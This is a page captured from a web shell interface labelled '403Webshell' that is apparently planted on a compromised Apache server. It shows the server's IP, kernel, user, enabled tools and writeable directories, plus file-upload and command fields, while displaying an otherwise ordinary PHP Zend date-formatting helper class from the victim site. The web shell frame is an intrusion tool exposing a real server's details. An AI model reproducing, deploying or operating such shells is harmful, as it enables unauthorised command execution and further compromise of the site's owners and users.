403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2b.hellogtx.com/library/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2b.hellogtx.com/library/Helper/DateFormat.php
<?php
/**
 * Action Helper for finding days in a month
 */
class Zend_Controller_Action_Helper_DateFormat extends Zend_Controller_Action_Helper_Abstract
{
   
    /**
     * @var Zend_Loader_PluginLoader
     */
    public $pluginLoader;
 
    /**
     * Constructor: initialize plugin loader
     * 
     * @return void
     */
    public function __construct()
    {
        $this->pluginLoader = new Zend_Loader_PluginLoader();
    }
    
    
    public function cal2Db($dt, $format = ''){
       
        if(empty($dt)){
            return $dt;
        }
        
        if($format == 'd/m/y') {
            $arrDate = explode("/", $dt);

            if(count($arrDate)!=3){
                return '';
            }
            return $arrDate[2]. '-' . $arrDate[1] .'-'.$arrDate[0];
        }
        else {
            return $dt;
        }
        
    }
    
     public function db2Cal($dt){
       
        if(empty($dt)){
            return $dt;
        }
        
        $arrDate = explode("-", $dt);
        
        if(count($arrDate)!=3){
            return '';
        }
        
        return $arrDate[1]. '/' . $arrDate[2] .'/'.$arrDate[0];
        
    }
    
     public function db2UI($dt){
        $date = new DateTime($dt);
        return $date->format('d M y'); 
     }
     
     public function cal2UI($dt){
         if(empty($dt)){
            return $dt;
        }
        
        $arrDate = explode("/", $dt);
        
        if(count($arrDate)!=3){
            return '';
        }
        
        return $arrDate[1]. ' ' . $arrDate[2] .' '.$arrDate[0];
        
     }
     
     
    
    /**
     * Strategy pattern: call helper as broker method
     * 
     * @param  int $month 
     * @param  int $year 
     * @return int
     */
   /* public function direct($dt)
    {
        if(empty($dt)){
            return $dt;
        }
        
        $arrDate = explode("/", $dt);
        
        if(count($arrDate)!=3){
            return '';
        }
        
        return $arrDate[2]. '-' . $arrDate[0] .'-'.$arrDate[1];
    }**/
    
	public function calculateNoOfDays($date1,$date2){
		$datetime1 = new DateTime($date1);
		$datetime2 = new DateTime($date2);
		$interval = $datetime1->diff($datetime2);
		$difference='';
		if($interval->format('%y') > 0){
			$difference .= $interval->format('%y') ." Year ";
		}
		if($interval->format('%m') > 0){
			$difference .= $interval->format('%m') ." Month ";
		}
		if($interval->format('%d') > 0){
			$difference .= $interval->format('%d') ."";
		}
		return $difference;
		 //$days;
	}
	public function get_time_ago($time_stamp)
	{
		$time_difference = strtotime('now') - $time_stamp;
	
		if ($time_difference >= 60 * 60 * 24 * 365.242199)
		{
			/*
			 * 60 seconds/minute * 60 minutes/hour * 24 hours/day * 365.242199 days/year
			 * This means that the time difference is 1 year or more
			 */
			return $this->get_time_ago_string($time_stamp, 60 * 60 * 24 * 365.242199, 'year');
		}
		elseif ($time_difference >= 60 * 60 * 24 * 30.4368499)
		{
			/*
			 * 60 seconds/minute * 60 minutes/hour * 24 hours/day * 30.4368499 days/month
			 * This means that the time difference is 1 month or more
			 */
			return $this->get_time_ago_string($time_stamp, 60 * 60 * 24 * 30.4368499, 'month');
		}
		elseif ($time_difference >= 60 * 60 * 24 * 7)
		{
			/*
			 * 60 seconds/minute * 60 minutes/hour * 24 hours/day * 7 days/week
			 * This means that the time difference is 1 week or more
			 */
			return $this->get_time_ago_string($time_stamp, 60 * 60 * 24 * 7, 'week');
		}
		elseif ($time_difference >= 60 * 60 * 24)
		{
			/*
			 * 60 seconds/minute * 60 minutes/hour * 24 hours/day
			 * This means that the time difference is 1 day or more
			 */
			return $this->get_time_ago_string($time_stamp, 60 * 60 * 24, 'day');
		}
		elseif ($time_difference >= 60 * 60)
		{
			/*
			 * 60 seconds/minute * 60 minutes/hour
			 * This means that the time difference is 1 hour or more
			 */
			return $this->get_time_ago_string($time_stamp, 60 * 60, 'hr');
		}
		else
		{
			/*
			 * 60 seconds/minute
			 * This means that the time difference is a matter of minutes
			 */
			return $this->get_time_ago_string($time_stamp, 60, 'min');
		}
	}
	
	public function get_time_ago_string($time_stamp, $divisor, $time_unit)
	{
		$time_difference = strtotime("now") - $time_stamp;
		$time_units      = floor($time_difference / $divisor);
	
		settype($time_units, 'string');
	
		if ($time_units === '0')
		{
			return 'less than 1 ' . $time_unit;
			//return 'less than 1 ' . $time_unit . ' ago';
		}
		elseif ($time_units === '1')
		{
			//return '1 ' . $time_unit . ' ago';
			return '1 ' . $time_unit;
		}
		else
		{
			/*
			 * More than "1" $time_unit. This is the "plural" message.
			 */
			// TODO: This pluralizes the time unit, which is done by adding "s" at the end; this will not work for i18n!
			//return $time_units . ' ' . $time_unit . 's ago';
			return $time_units . ' ' . $time_unit;
		}
	}
        
        
        function convertToHoursMins($time) {
        if ($time < 1) {
            return;
        }
        $hours = floor($time / 60);
        $minutes = ($time % 60);
        $format = !empty($minutes) ? '%02dH %02dM' : '%02dH';
        return sprintf($format, $hours, $minutes);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit